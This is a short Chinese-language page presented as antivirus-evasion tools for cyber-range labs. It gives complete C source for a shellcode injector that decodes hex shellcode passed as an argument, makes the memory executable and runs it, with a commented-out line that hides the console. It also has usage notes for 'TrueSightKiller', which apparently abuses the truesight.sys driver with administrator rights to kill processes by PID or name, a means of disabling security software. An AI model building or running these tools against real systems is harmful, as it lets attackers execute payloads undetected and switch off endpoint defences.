靶场专用免杀工具

工具
SimpleShellcodeInjector

代码

#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
   // HWND hWnd = GetConsoleWindow();
   // ShowWindow( hWnd, SW_HIDE );
    unsigned int char_in_hex;
    char* shellcode = argv[1];
    unsigned int iterations = strlen(shellcode);
    unsigned int memory_allocation = strlen(shellcode) / 2; 
    for (unsigned int i = 0; i < iterations - 1; i++) {
        sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }
    void* exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    DWORD ignore;
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
    (*(void (*)()) exec)();
    return 0;
}

TrueSightKiller

自行编译后，将truesight.sys与编译之后的exe放在同一目录下，以管理员权限运行cmd

-p 指定pid，-n指定进程名